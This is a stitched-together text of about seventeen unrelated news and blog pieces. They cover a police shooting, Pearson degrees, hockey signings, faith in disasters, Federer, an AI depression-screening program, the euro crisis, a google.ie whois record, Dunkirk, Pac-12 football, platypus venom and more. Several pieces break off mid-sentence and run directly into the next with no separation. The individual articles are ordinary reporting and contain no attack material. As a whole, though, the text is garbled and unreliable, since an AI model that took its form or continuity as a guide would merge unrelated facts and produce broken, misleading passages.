Two days before the City Council decision, CPD revealed that an unauthorized civilian had been riding with the three officers at the time of the incident, and that none of the officers activated their body cameras prior to the shooting. Both policy violations served as the basis for the City Council decision. Boykin was also found to have violated social media policy prior to the shooting of Ball, for making repeated posts that were derogatory toward African Americans, women and disabled people.
Earlier on Friday, the City Council approved a parade permit for a memorial march planned for Tuesday afternoon. Hundreds are expected to rally in protest against the death of Ball, which marked the 944th police killing so far this year, according to killedbypolice.net. In the two weeks since Ball’s death, more than 50 people were killed by police, placing the total number of police killings so far in 2015 at nearly 1,000.
Please enable JavaScript to view the comments powered by Disqus.Image caption There is unprecedented demand for university places
One of the world's largest publishers, Pearson, looks set to be given degree-awarding powers, as the government seeks to open up the university sector to more private providers.
Pearson, which owns exam board Edexcel, plans to start by offering four vocational degrees with a further education college.
But it wants to award degrees itself, which would require a law change.
The government says it is considering this.
Universities Minister David Willetts has made no secret of his plans to open up the university sector to private providers.
'Competitive'
A white paper is expected to set out plans to do this in the new year, with legislation likely to follow.
Mr Willetts is said to be encouraged that firms like Pearson are interested in taking a bigger role in higher education.
He is expected to mention the firm by name in a speech to an education conference in central London later.
If Pearson, which publishes a wide range of text books, succeeds in gaining degree-awarding powers it will be the second for-profit company involved in England's higher education system.
The development comes less than a week after MPs voted to allow universities to raise tuition fees to a maximum of £9,000 a year.
This sparked fears that many youngsters from deprived backgrounds would not be prepared to take on the accompanying higher level of debt, although ministers insist a revamped repayment system is fairer.
We want to take the next natural step to award full degrees Rod Bristow, President of Pearson UK
Pearson anticipates it will be able to offer degree courses in business, engineering, IT and health and social care to begin with at "very competitive" prices.
It is also considering offering degrees in nursing, education and hospitality and tourism.
A Pearson spokesman said the courses would be highly flexible, available part-time and might suit those already working or those with children.
Rod Bristow, president of Pearson UK, said his firm had a strong track record of providing high quality vocational education in the UK through BTECs and HNDs.
"Now we want to take the next natural step to award full degrees."
He said the firm would create a vocational degree, based on the vocational BTEC qualification, and that it would demand students met rigorous standards.
Mr Bristow added: "Part of our commitment to this is to ensure that the BTEC degree is offered at a price which falls well within the current funding ceilings.
"This combined with local access, will keep the cost of high quality higher education to a level acceptable to the majority."
Private providers
Mr Willetts said: "There will be a new rung on the ladder of opportunity. Further education colleges, universities and other training providers will be able to offer this tried-and-tested qualification at a higher level for the first time.
"Students, employers and the economy all stand to benefit.
"In the forthcoming higher education white paper, we want to make it easier to award new high-quality and affordable degrees like BTECs. This is the key to extending opportunity, improving social mobility and raising skills."
Currently only universities and colleges applying for degree-awarding powers can offer degrees.
'Pursuit of profit'
But 262 colleges in England work with validating partners, usually universities, to offer higher education courses including BA degrees and foundation degrees.
It is expected that new legislation will relax the rules on who can take up that validating role. This may be where firms like Pearson come in.
The Association of Colleges chief executive Martin Doel said: "We are interested in proposals, from Pearson or others, that may help more colleges deliver more high quality, affordable and flexible higher education to more students."
Sally Hunt, general secretary of the UCU lecturers' union, said further encouraging the growth of for-profit companies would damage the UK's academic reputation and raise questions over standards.
"These companies are clearly seeing an opportunity for growth following the disastrous decision to treble tuition fees and the government has said that it wants to encourage this.
"We believe that the pursuit of profit is incompatible with the maintenance of high standards in higher education and we think this is confirmed by the situation in the US, where private providers are being investigated by Congress following a series of high-profile scandals," she added.ST. LOUIS – St. Louis Blues Executive Vice President and General Manager Doug Armstrong announced today the club has signed goaltender Mike McKenna as well as defensemen Taylor Chorney and Scott Ford to one-year, two-way contracts.
A native of St. Louis, McKenna, 28, appeared in 41 games for the American Hockey League’s (AHL) Binghamton Senators last season posting a 14-22-1 record including a 2.98 goals against average and a.918 save percentage.
The 6’2, 190-pound goaltender has dressed in 17 career National Hockey League (NHL) games between Tampa Bay and New Jersey posting a 4-9-1 record to go along with a 3.49 goals against average and a.887 save percentage.
McKenna was originally drafted by Nashville in the sixth round, 172nd overall, of the 2002 NHL Entry Draft.
Chorney, 24, dressed in five NHL games last season including two with the Blues after the club claimed him off waivers from Edmonton on Oct. 11, 2011. The 6’0, 196-pound defenseman spent the majority of 2011-12 with the AHL’s Oklahoma City Barons appearing in 50 games recording 24 points including six goals and 18 assists.
Chorney’s NHL career has spanned 61 games between Edmonton and St. Louis including seven points (one goal, six assists) and 16 penalty minutes.
The Thunder Bay, Ontario native was originally drafted by Edmonton in the second round, 36th overall, of the 2005 NHL Entry Draft.
Ford, 32, dressed in 75 games for the AHL’s Milwaukee Admirals last season posting 11 points including four goals and seven assists to go along with 89 penalty minutes.
The 6’3, 216-pound defenseman has appeared in 380 |
in January 2009, many of the passengers told journalists about how they had prayed their way through the ordeal.
Similarly, many of those who lived (or died) through the events of September 11 turned to their faith for strength.
When the Asian tsunami killed a quarter of a million people in 2004 most of the families of the victims, to judge from reports, didn't turn away from God, they turned towards Him.
In 1972, a plane crash-landed in the Andes and the survivors famously sustained themselves physically by cannibalising the dead passengers. But their faith played a huge part in sustaining them psychologically, as documented in the book and the movie, 'Alive'.
(By the way, why is it that in real-life disasters people almost always pray, but almost never in disaster movies, 'Alive' being an exception, seeing as it is based on real life?)
The media reporting on the rescue of the miners spent a lot of their time talking to psychologists and other counsellors about the likely psychological effects of the ordeal upon the men.
They would have been better off speaking to chaplains about the role religion plays in helping people to cope with adversity. And it does help. We know this now from research.
For example, people who practise a religion live longer on average than those who don't. One reason for this is that they tend to be healthier because they're less likely to abuse drugs or alcohol, for instance.
Religious believers are also less likely to commit suicide, or succumb to depression. They recover faster from serious illness. They get over a bereavement faster.
One reason believers can cope better with adversity is because they have a source outside themselves to which they can turn and that helps them to accept whatever is in store for them.
It allows them to hope against hope when the odds are stacked against them, and when all is lost, it allows them to accept that fact, not to rage against it, and to seek forgiveness for any wrong they may have done and therefore go to God in peace.
Of course, this doesn't prove that there is a God. Nor is it saying that people who don't practise religion can't cope with adversity, because many can, sometimes better than people who do have faith.
But research shows that, on average, it is better in these situations to have a religious faith and it is completely natural to think of God and to pray in such circumstances because religion is a natural and ineradicable part of human nature.
The story of the Chilean miners proves this yet again. Faith is what helped many of these men to cope with their ordeal. The old adage says, 'no atheists in foxholes'.
Now we know there are no atheists in collapsed mines either.
dquinn@independent.ie
Irish IndependentSince Roger Federer withdrew from Cincinnati with a back injury, the tennis world has been anxiously waiting for further updates on his fitness and schedule for the rest of the season.
His original schedule has him slated to play the US Open next, followed by the Laver Cup, Shanghai and Basel before the World Tour Finals, for which he has already qualified. However, in the wake of his loss to Alexander Zverev in the Montreal final where he was clearly struggling physically, followed by his subsequent withdrawal from Cincinnati, tennis fans have been worried about how much impact the injury will have on the rest of his season.
A sports journalist from China with close contact with the tournament director of the Shanghai Masters 1000 might have good news for all of us. Apparently he’s been told that the officials of the Shanghai Masters have directly contacted Federer’s team. They were told that that Roger’s back problem isn’t serious and he’s doing well and will be fit for the US Open.
They were also told that Federer will appear for the US Open kids’ day and maintain an unchanged schedule thereafter.
Should Federer be fit, he will be one of the favourites to lift the US Open title, a potential 20th Grand Slam title. He is also currently involved in a tight battle with Rafael Nadal for the No. 1 ranking. Nadal is guaranteed to take over the top spot from Andy Murray when the updated rankings are released coming Monday.How A Machine Learned To Spot Depression
I'm in a booth with a computer program called Ellie. She's on a screen in front of me.
Ellie was designed to diagnose post-traumatic stress disorder and depression, and when I get into the booth she starts asking me questions — about my family, my feelings, my biggest regrets.
Emotions seem really messy and hard for a machine to understand. But Skip Rizzo, a psychologist who helped design Ellie, thought otherwise.
When I answer Ellie's questions, she listens. But she doesn't process the words I'm saying. She analyzes my tone. A camera tracks every detail of my facial expressions.
"Contrary to popular belief, depressed people smile as many times as non-depressed people," Rizzo says. "But their smiles are less robust and of less duration. It's almost like polite smiles rather than real, robust, coming from your inner-soul type of a smile."
Ellie compares my smile to a database of soldiers who have returned from combat. Is my smile genuine? Is it forced?
Ellie also listens for pauses. She watches to see whether I look off to the side or down. If I lean forward, she notices.
All this analysis seems to work: In studies, Ellie could detect signs of PTSD and depression about as well as a large pool of psychologists.
Jody Mitic served with the Canadian forces in Afghanistan. He lost both of his feet to a bomb. And Mitic remembers that Ellie's robot-ness helped him open up.
"Ellie seemed to just be listening," Mitic says. "A lot of therapists, you can see it in their eyes, when you start talking about some of the grislier details of stuff that you might have seen or done, they are having a reaction."
With Ellie, he says, he didn't have that problem.
Right now, Ellie is strictly for diagnosis. The idea is, once Ellie's out in the field, she'll find soldiers who are having a problem and a human will take it from there.Policy in Europe is all about playing for time. The big picture ideas for saving the single currency will take years, not months, to come to fruition - but the threat of collapse is immediate.
So the short-term mindset is all about survival: think the football team that parks the bus in order to defend a 0-0 scoreline or the batsmen whose sole aim is to occupy the crease when their team is facing an innings defeat on the last day of a Test match.
For a while last week, there was the real prospect that Europe's backs to the wall effort had succeeded. Last month's summit had more substance than the previous content-free affairs, and the rally in European financial markets last week reflected the belief that enough had been done to keep things calm through August. That, though, was until the Spanish region of Valencia announced that it needed financial help from Madrid, providing the trigger for a big sell-off in the markets that continued on Monday.
The response from the Spanish government was to swear blind one minute that there was not the remotest possibility of a full-blown rescue involving the International Monetary Fund and to impose a ban on the short selling of shares the next. The markets were suitably unimpressed by this display of ineptitude.
Meanwhile, Greece was once again coming under the spotlight as Athens awaited the arrival of officials from the Troika (the IMF, the European Central Bank and the European Union) on Tuesday. Greece is gripped by a 1930s-style depression and, perhaps unsurprisingly, is having trouble sticking to the austerity programme imposed as part of its bailout. It appears that the troika will threaten to cut off Greece's financial lifeline unless the coalition government agrees to an extra €2bn of cuts.
There are three conclusions to be drawn from these events. The first is that Spain is heading inexorably towards a bailout, probably quite soon. It was always a case of smoke and mirrors to imagine that the promised €100bn (£78bn) package of support for Spanish banks would be enough and so it has proved.
This is a country with a collapsing economy, an imploding property market, banks nursing colossal losses, and 10-year bond yields at 7.5%. The question is not whether there will be a bailout, but how big it will be. At least €300bn in all probability.
The second conclusion is that the trapdoor is opening up under Greece. German patience with Athens has run out, and the IMF was forced to deny reports on Monday it was preparing to cut off financial support. The Greek government is now faced with the choice of agreeing to a new range of demand-reducing measures it knows will be both counter-productive and politically toxic in order to be able to pay its bills inside the euro zone, or to devalue and default outside monetary union. A voluntary Greek exit would be ideal for Angela Merkel.
What links Greece and Spain is that the failed approach that has brought the smaller of the two countries to the point of no return is now being tried with the bigger and more strategically important member of the club.
The lesson from Greece is absolutely clear: slashing spending and increasing taxes when an economy is in free fall leads to higher, not lower, levels of debt. Spain is following Greece down the vicious spiral that starts with weak growth and rising unemployment and ends with expensive bail outs that do more harm than good.
For Greece in August 2011 read Spain in August 2012. Same problems. Same failed answers. Same crisis. Only bigger.The city of Los Angeles could make it easier to park a bike in Westwood by allowing riders to lock them to parking meters, something that is now illegal.
Although seldom enforced, the city law prohibiting the lockups on meters does have reasons behind it, according to Peer Ghent, who administers parking programs with the Los Angeles Department of Transportation.
"Bicycles get just attached randomly and stacked up against the meter and cause generally an unsightly and chaotic setup on the street," Ghent said.
Bikes could also block the collection of fees from the meters, though that is less of a problem now that they have been converted to accept credit cards.
Westwood Village, a prime biking area, sees thousands of students and UCLA employees cycling through the neighborhood to campus every day. However, the commercial district adjacent to the university only has about 65 legal bike stand spaces.
The shortage of bike parking spots leaves some cyclists with few options so they latch their bikes to parking meters, as UCLA student Ben Kim regularly does.
"Sometimes when I need it and I can't find a bike rack, I just put it there," he said. He expressed surprise when told the practice is illegal.
Now the city is weighing a plan to install small, circular hitches onto 150 parking meters in Westwood, which would make securing a bike both easier and legal.
The Los Angeles City Council's Transportation Committee passed a motion last week to move the idea forward. If approved by the full council, the program could be expanded to parking meters on other streets under Mayor Eric Garcetti's Great Streets program, which aims to make travel easier for bicyclists and pedestrians.
Caption: A bike hitch like this one on a parking meter in San Diego allows bicyclists to lock up their bikes.(Idiolector via Flickr)FilmWeek on AirTalk, hosted by Larry Mantle, is a one-hour weekly segment devoted to films. It offers reviews of the week's new movies, interviews with filmmakers, and discussions on various aspects of the industry.
On the heels of facing misdemeanor charges for violating the Krekorian Talent Scam Prevention Act, this week the Burbank acting school, the Actor's Key, announced its closure and bankruptcy.
Last week, LA City Attorney Mike Feuer announced the criminal charges in an investigation into so-called pay-to-play casting schemes in Hollywood.
The workshops allegedly charged aspiring actors to read in front of casting directors or their staff. That practice was often advertised as being "educational."
However, some actors worry their already limited opportunities are being winnowed down by the Krekorian Act. What are your experiences with acting classes and workshops?
Guest:
Gary Baum, senior writer, The Hollywood Reporter; he tweets @garymbaum
Brian Patacca, Founder of Actor Salon, a life and career coaching company for actors; Actor
Duncan Crabtree-Ireland, general counsel and chief operating officer, SAG-AFTRA (Screen Actors Guild-American Federation of Television and Radio Artists)Bo Guthrie knows that the key to success in stand-up comedy is never giving up, but when does persistence become foolishness?
I became a comic for two reasons. The first, it was hard for me to imagine working a job for the rest of my life. I was fairly well educated and I was – and I think I still am (maybe) – intelligent, but taking the nascent adult I was and forcing it into a career path seemed a waste of potential. No matter what I considered – lawyer, doctor, web developer, fucking taxidermist – I couldn’t help but get caught up in downsides. The second reason was that I loved comedy. I think most people do. For me, though, humor was and remains the primary way in which I bond with people. I was good at making people laugh. So, in July of 2010 I took the plunge and did my first open mic. It was such a harrowing experience that it took me three months to regrow my nuts and try it again. I got up for the second time in October, which I mark as the beginning of my “career” as a comic, and I fell in love. Don’t misunderstand, I bombed terribly that second time, but I also knew with a certainty I hadn’t felt about anything else that I wanted to be a professional comic.
I got a very important piece of advice once from a very well-known and successful comic. He told me that everyone he knew that stuck with it had success in comedy. You just have to be “good enough” and the rest is a matter of resilience. This is at once the most bleak, optimistic, and accurate description of a comic’s path that I’ve ever heard. And what made it worse was the fact that it sounded familiar.
I’d been told something very similar when I took my first corporate sales job, literally going door to door pitching office supplies. If you follow the sales process and play the law of averages, you’ll make money and one day you’ll get to have an office and lead your own team of sales reps and then you’ll be rich and you’ll be able to buy nice things and live in a fancy house and have a lot of crazy rich people sex, they said. It’s simply a matter of persistence and determination! They said that, too. It scares me to think that comedy might share that business model.
Through comedy I felt I could unite my avocation and my vocation, to paraphrase Robert Frost. I felt that comedy was the way I wanted to make my mark on the world. Which is why I am particularly bothered by the fact that I may give it up. I am also bothered by the fact that I paraphrased Robert Frost.
♦◊♦
I want to believe that persistence will pay off in comedy. Like that successful comic told me, you don’t know if you’re “good enough,” you don’t know what kind of success you may have, and you have no idea how long it will take to reach that success, but if you grind through it there’s a good chance you’ll get to live out your dream of being a comic. Why couldn’t I have developed a passion for dentistry? There you at least get a professional license to prove you’re good enough.
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♦◊♦
I remember why I left that sales job, though. It was brutal. After a month of constant rejection of the worst kind it dawned on me that, yes, success might come with persistence, but look at what I’m enduring to get there. How much risk am I taking investing so many years in thankless, low-pay work on the chance, the slim chance, of early retirement? The last thing I want is to realize fifteen years down the line that, for all my sacrifices, I’m left with an unfulfilled dream and the nagging feeling that maybe I should have given up a long time ago. At what point does persistence become delusional? You always hear parables about mountains being worn down by slow trickles of water, but obviously that doesn’t work every time because there are still a lot of damn mountains.
♦◊♦
Real quick, let me make it perfectly clear that the comparison between corporate sales and comedy ends right fucking there. Sales is predatory, unfulfilling, borderline evil work and I’m sorry if that offends you but it’s true so shut up. Comedy is an art and it’s fun as shit even when it’s terrible. But they both have that grim model of blind, heedless persistence. They both demand that you invest years of your life in unnoticed work. With comedy even more so, you trade in the stability and peace of mind that a more traditional career has to offer for the chance to live your dream and the hope that you can achieve it if you just never, ever quit. But never is an awful long time. In the real world, how long do you wait for that dream to come to fruition before you decide that the sacrifice is no longer worth it? In short, when is giving up prudent?
It’s a question I don’t pretend to have an answer to.. Right now, I still can’t imagine doing anything else. And in the end, I personally feel that it’s better to have tried and failed than to be a dentist.
Photo–Bo GuthrieCopious vocabulary is very important if you want to speak and understand the Russian language. But learning a large amount of Russian words that are not easy to spell sometimes can turn to a tough task, especially if you are busy with work, family, and other responsibilities.
In this article I will tell you some great tips on how to remember new vocabulary and phrases in a short period of time both based on my teaching Russian experience and learning foreign languages by myself.
I always tell my students that all words in your mind are divided into 3 groups:
1. First group of words are those deep in your mind that you can always remember and use in any situation, both make sentences with them and recognize in other people s speech. They are stored very well.
2. Second group of words are those of your lexicon that you know how to translate but it is hard to remember them when a situation turns to say them.
3. Last group is a group of absolutely unknown words, which will be discussed in this article. You should pay attention on them and expand your vocabulary as much as possible.
So, what are the main and effective techniques on Russian vocabulary learning?
First of all you need to read a lot.
You can read everything what is on the list of your personal interests - news on the Internet, menus in the restaurants (if you are already in Russia), newspapers, books, advertisements, posts in social networks on relevant topics, etc. Regarding the books I should warn you - please, do not start your Russian learning process with Leo Tolstoy or Fedor Dostoevski, otherwise you will be confused and the idea of learning this language may leave you forever. You can find the easiest books on the Internet and read them with a dictionary.
Here comes tip №2 - you have to get in the habit of looking up words you don't know. After that write those words in a notebook with their translations or definitions. Every time you want to revise them - you need just open your notebook.
But how to remember the words?
Well, I will tell you about my favorite methods.
First, you can write them down in groups, according to the different principles. Your notebook can contain different chapters: Еда, Одежда, Глаголы, Предлоги, Отдых, Развлечения, Места, etc.
Next, you can make flashcards with those words that represent the biggest difficulties for you, with the word on the one side and translation on the other, and then play a memory game with them.
What is really important in accepting new words - you have to try using it in your oral and written speech. Even though you didn't want to say a sentence with it, you should try to think up an idea with that word and communicate with it.
Nowadays there is a great number of digital technologies, soft and mobile applications that will help you in memorizing new words. Writing comments and posts in Russian will help you to improve your writing skills and stick a pair of new words.
One more good recommendation is to focus on phrases while working on your vocabulary. You can try to say the entire phrase many times in order to keep it in mind. In this way you will always have a set of expressions ready to use in a conversation. For example, " Добро пожаловать", " Приятно познакомиться", "Приятного аппетита", "Я занят", "Перезвоню позже", etc. So instead of forming a sentence, or even awkward phrase sometimes, you will have a set of speech patterns which you can use immediately.
The last but not least advice is to review often.
You may have a special ritual of reviewing new vocabulary every morning, or it can take you 10 minutes in the evenings. In this case yesterday's vocabulary is more important than today's. The aim is to transfer the short-term knowledge of new vocabulary into your long-term memory, in other words, just to move them one level lower in the word-knowledge-ladder, that was discussed at the beginning. For this reason a review is extremely important, especially in the first few weeks after learning new vocabulary.
https://www.facebook.com/logosochi
www.ycode.ruAccording to Argentinean news, thousands of people spotted a UFO on Sunday in and around the town of Gualeguaychú.
Several Argentinean news outlets reported the sighting, although there is not much detail given. What was seen is most often described as a bright light that slowly moved over the city. According to Argentinian news website Noticias Villaguay, one witness described the light as “a white light, large, and down green.”
Some say the light blinked on and off periodically, and at one point disappeared. This can be seen in at least one of the several videos captured by witnesses and posted to YouTube.
The object was also seen in the town of Larroque, which is about 20 miles west of Gualeguaychú. Witnesses also reported that they saw a similar object the night before on Saturday, January 3.
Some have speculated that the object was a drone, or a lit up glider. But according to Maxima Online, others disagree. They say that a drone or glider would not have been seen as far away as 20 miles.
Several witnesses captured video, although not much can be seen but a light in the sky. In fact, in several videos the light seems to be stationary. However, slow movement and blinking can be seen in others.
One YouTube witness wrote in the description of his video: “The filming is dense that no cuts or anything edition only music so you do not think it’s fake.”
In another video people can be seen out on the street watching the object. That witness wrote in their video’s description: “Thousands of reports came in Pueblo Belgrano neighborhood, Gualeguaychú and Larroque. They speak of a powerful and zigzag light traveling through the sky.”
Gualeguaychú is in the Argentinean province of Entre Ríos, near the border with Uruguay. It is most famous for its yearly carnival, which begins on January 10.
In 2011, the Argentinean Air Force followed the lead of several of its neighbors, including Chile and Uruguay, and created an official UFO investigation organization. They are called the Commission for the Investigation of Aerospace Phenomena (Spanish acronym CIFA). Since their inception there has not been much information released regarding their work. One would expect this would be the sort of case they have been waiting for, given the media attention it has received.
Whether or not CIFA will investigated this case is yet to be seen. Thus far there have not been any comments posted by any Argentinean officials or law enforcement regarding this sighting.
Note: We were first made aware of this story by a posting on The UFO Chronicles.
Popular Posts:This could prove to be quite embarrassing.
It looks like IEDR have allowed the nameservers for the domain google.ie to be updated to point to a 3rd party and away from Google. Effectively this means that google.ie and any services that rely on it are currently not working.
Here’s the current whois record for Google.ie. Note the rather odd nameservers:
whois google.ie % Rights restricted by copyright; http://iedr.ie/index.php/mnudomregs/mnudnssearch/96
% Do not remove this notice domain: google.ie
descr: Google, Inc
descr: Body Corporate (Ltd,PLC,Company)
descr: Registered Trade Mark Name
admin-c: KR59-IEDR
tech-c: CCA7-IEDR
registration: 21-March-2002
renewal: 21-March-2013
status: Active
nserver: ns1.farahatz.net
nserver: ns2.farahatz.net
source: IEDR person: Kulpreet Rana
nic-hdl: KR59-IEDR
source: IEDR person: eMarkmonitor Inc
nic-hdl: CCA7-IEDR
source: IEDR
At the moment, for example, if you are an Irish internet user attempting to access Google the search engine will try to automatically push you to the.ie domain. However that is no longer online or reachable.
You can force your browser to go to the.com, but some Windows users I’ve spoken to have reported issues.
So who is at fault here?
IEDR? Google or Mark Monitor?
UPDATE: More on the story – with more details – over on technology.ie
Related articlesImage copyright Warner Bros Image caption Dunkirk tells the story of British and Allied troops trapped on a beach surrounded by enemy forces in 1940
Christopher Nolan's epic World War Two film, Dunkirk, which tells the story of the mass evacuation of Allied troops from the northern coast of France in 1940, has been getting glowing reviews in India.
But many are glowering over Nolan turning a blind eye to the role of Indian soldiers in the battle. The Times of India wrote that their "significant contribution" was missing from Nolan's "otherwise brilliant" work. Writing for Bloomberg View, columnist Mihir Sharma said the film "adds to the falsehood that plucky Britons stood alone against Nazi Germany once France fell, when, in fact, hundreds of millions of imperial subjects stood, perforce, with them".
Few can deny the role of the subjects. Some five million Commonwealth servicemen joined the military services of the British empire during WW2. Almost half of them were from South Asia. Indian soldiers played a key role in major battles like Tobruk, Monte Cassino, Kohima and Imphal. A multinational force of British, Indian and African units recaptured Burma (Myanmar) for the Allies.
What happened with the Indian soldiers in Dunkirk is less clear. Yasmin Khan, historian and author of The Raj at War: A People's History of India's Second World War, says she has often wondered why there is very little factual data on their role in the battle, which many say cost Germany the war.
What is well known, she told me, is that four companies of the Royal Indian Army Service Corps, including a unit of the Bikaner State forces, served in France during the campaign on the Western Front, and some were evacuated from Dunkirk. Among them were three contingents of the Royal Indian Army Service Corps. One contingent was taken prisoner by German forces.
According to one account, India also provided more than 2,500 mules - shipped from Bombay (now Mumbai) to Marseilles - to the war effort as the British animal transport companies had been phased out. An Indian soldier, Jemadar Maula Dad Khan, was feted for showing "magnificent courage, coolness and decision" in protecting his men and animals when they were shelled from the ground and strafed from the air by the enemy.
Image copyright Fred Ramage/Getty Images Image caption An Indian soldier who was evacuated from Dunkirk
The Indian soldiers and the mules were eventually ordered towards the coast. Many of the men could not take their animals on the retreat and gave them away to local people in France, according to the same account.
Historian John Broich says the Indian soldiers in Dunkirk were "particularly cool under fire and well organised during the retreat".
"They weren't large in number, maybe a few hundred among hundreds of thousands, but their appearance in the film would have provided a good reminder of how utterly central the role of the Indian Army was in the war," he told Slate.
"Their service meant the difference between victory and defeat. In fact, while Britain and other allies were licking their wounds after Dunkirk, the Indian Army picked up the slack in North Africa and the Middle East.
'Survival story'
To be fair, Nolan has said that he approached the story "from the point of view of the pure mechanics of survival rather than from the politics of the event".
"We don't have generals in rooms pushing things around on maps. We don't see Churchill. We barely glimpse the enemy," he told the Telegraph. "It's a survival story."
Historian Joshua Levine, who is also the film's historical consultant, told me that Dunkirk was a work of fiction and "it isn't a film's job to tell the full story of Dunkirk... and nor, in the time available, could it even try to do so".
"This film focuses on a few protagonists whose paths cross occasionally, each one of whom experiences just a tiny corner of the whole story. As Hilary Mantel says about historical fiction, 'The man who is fighting can't see over the hill, out of the trench.' What I'd love to see, though, is an Indian film about Dunkirk, or WW2 generally, and I sincerely hope Indian filmmakers are working on it."
But what about the criticism that the role of Indian and their South Asian counterparts in WW2 has been forgotten?
Image copyright Fox Photos/Getty Images Image caption Two Indian soldiers evacuated from Dunkirk arrive in England in June 1940
Yasmin Khan says that their "sheer scale of the contribution" has become apparent in Britain in recent years. "No longer is it simply an island story of heroic, plucky British fighting against Nazi-occupied continental Europe; it has now become increasingly customary for historians to refer to the contribution made by Asian, African and Caribbean servicemen in the 1940s", she writes in her book.
A memorial to honour the role of these soldiers came up on London's Constitution Hill in 2002. There have been museum exhibitions, oral history projects and TV documentaries to "reveal how crucial they [the soldiers] often were to the action, the sacrifices that they made in the face of terrible odds, and also to divulge individual stories of great bravery and intrepid action".
"It is no longer true to suggest that this is an entirely forgotten story," she says.
Meanwhile, Indians are flocking to watch Dunkirk, which opened at 416 screens, including 10 Imax screens, across the country, on Friday.
Unlike most Hollywood films, Dunkirk hasn't been dubbed in any Indian language for wider viewership. Still, says Denzil Dias of Warner Brothers (India), the film raked in $2.4m (£1.84m) over the weekend. "This is the biggest opening of an English language-only film in India," Mr Dias told me. Clearly, viewers are not fretting about the lack of Indian soldiers in Nolan's tour-de-force.The Pac-12 football season gets underway on Sept. 3, 2015. (Photo: azcentral sports/USA Today Sports)
This season’s Pac-12 South is expected to be one of the toughest divisions in the country.
When the preseason media poll comes out next Thursday, there’s a good chance four of the six teams - Arizona, Arizona State, UCLA and USC - will receive first-place votes. Those same four likely will kick off the season in the AP Top 25.
My media-poll ballot is in. Here’s how I see this season’s Pac-12 unfolding:
SOUTH DIVISION
1. Arizona State
Eyes rolling over the hometown reporter picking the local team? I get it. (For the record, I’ve picked ASU to win the South only once -- 2013, the year it won.) But here’s the deal: Not much went right for ASU last season. The quarterback missed three games with a broken foot. The defense needed half the season to figure things out -- and the Sun Devils still won 10 games.
RELATED: More ASU football coverage
Don’t worry about the offense. Even with the uncertainty at tackle, this group will score. No, this season’s success depends on the defense. Last year, ASU was average on that side. This season, with nine starters returning, the Sun Devils will be better. And it will get them to the conference championship game.
2. Arizona
Remember last year’s Territorial Cup, the one that decided the South? Good. Because this year’s showdown at Sun Devil Stadium will have similar stakes. The Wildcats return their starting quarterback, leading rusher, leading receiver and the best linebacker in the country in Scooby Wright.
RELATED: More Arizona Wildcats coverage
True, the schedule doesn’t include an off-week, but overall, it’s not bad. UA’s downfall: Final-month road games against USC and ASU.
3. USC
The Trojans are the national favorite and without question, there is much to like. Quarterback Cody Kessler is efficient and the offensive line shapes up as one of the best in the country. Even so, the defense must improve, and that won’t be easy without All-America defensive end Leonard Williams and leading tackler Hayes Pullard.
CLOSE Doug Haller makes his predictions for the 2015 Pac-12 football season. Doug Haller/azcentral sports
4. UCLA
The Bruins are loaded everywhere expect for where it matters most -- quarterback. Josh Rosen is expected to win the job. He’s talented, but relying on a true freshman to navigate a division this tough is far from ideal.
5. Utah
The Utes last season won nine games, the first time they have done so as a member of the Pac-12. Duplicating such efforts will be difficult.
6. Colorado
The Buffaloes lost their final eight to end last season, but four were decided by a touchdown or less (two coming in overtime). Mike MacIntyre’s group is improving, but so is the rest of the division.
NORTH
1. Oregon
Once he completes his graduation requirements, Vernon Adams, former star quarterback at lower-division Eastern Washington, is expected to replace Heisman Trophy winner Marcus Mariota. Does he need to be great? Not with Royce Freeman and Byron Marshall, two of the Pac-12’s top playmakers, around him.
RELATED: Pac-12 football schedules for 2015
2. Stanford
The Cardinal last season failed to reach double-digit wins for the first time in five years. Fluke or something more serious? Go with the former. Stanford is reloading defensively, but still should have enough to hold down second place.
3. California
The Golden Bears have the Pac-12’s best quarterback in Jared Goff, but their schedule – with road games at Texas, Utah, UCLA, Oregon and Stanford – is scary.
4. Washington
The Huskies -- ninth in conference scoring last season -- should be better offensively, but their defense suffered significant losses with four players selected among the NFL draft’s first 44 picks. They may take a step back.
5. Washington State
This is Year 4. Coming off a disappointing season, Mike Leach and the Cougars don’t need to contend in the North, but they need to be a factor. The entire offensive line returns, but much will depend on first-year quarterback Luke Falk.
6. Oregon State
New coach Gary Andersen will win -- probably sooner rather than later -- but with a new quarterback and an inexperienced defense, he has some rebuilding to do.
Contact Doug Haller at Doug.Haller@arizonarepublic.com or at 602-444-4949. Follow him at Twitter.com/DougHaller.The platypus, where to start? The Australian mammal (Ornithorhynchus anatinus) has the bill of a duck, a tail of a beaver, the waterproof body of an otter, and flat clawed webbed feet. Did I mention it lays eggs, yet lactates? It’s a freak show. Some say they are the Swiss Army Knife of animals and others will claim they are proof that Mother Nature has a sense of humor. As a scientist I’m a bit more pragmatic, and take the platypus as absolute proof that even Mother Nature will go to work drunk off her ass.
She eventually sobered up, and felt bad about what she created. So to atone for her transgression she gifted the poor platypus with venom. That’s right, the platypus is venomous. That ever-so-cute half duck, half beaver, half snake thing combines to make one and a half cans of whoop ass.
Both sexes of platypus are born with spurs on their hind legs, though the female’s are lost during development. In males, each hollow spur, with a channel opening of ~0.2 mm, is connected to a crural (venom) gland located on the side of their abdomen. The location of these venomous spikes is certainly odd, but they are thought to be both offensive and defensive weapons, particularly towards other males during mating season. To my knowledge there are no human fatalities related to platypus envenomation, just other wildlife and hunting dogs, though an afflicted person might soon be wishing they were dead.
In 1991 a 57-year old male was fishing near Mackay, North Queensland, Australia, when he came across a stubborn platypus on a log. Thinking the creature might be ill or injured, he picked it up by the nape of its neck, like a cat, to move it aside. Platypus don’t like to be disturbed, so it sank both spurs into his right hand. One on the back of the hand (dorsum), and one on the middle finger, with the spurs angled towards the fingers.
The pain was “immediate and severe,” with the platypus difficult to remove. One and a half hours after the envenomation the pain was described as “so bad I |
Senior Director of Human Interface and User Experience and the lead designer behind the beautiful WebOS UI, is leaving the recently-acquired company for a new post at Google as Android's User Experience Director.
It'll be interesting to see how the WebOS wizard fits in at Google, a company whose UI design tends toward the functional, as opposed to the functional and beautiful. When Google's Visual Design Leader Douglas Bowman left last year, he shed some light on the company's design dynamic:
When a company is filled with engineers, it turns to engineering to solve problems. Reduce each decision to a simple logic problem. Remove all subjectivity and just look at the data...And that data eventually becomes a crutch for every decision, paralyzing the company and preventing it from making any daring design decisions.
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One such example: testing 41 shades of blue for Google toolbars.
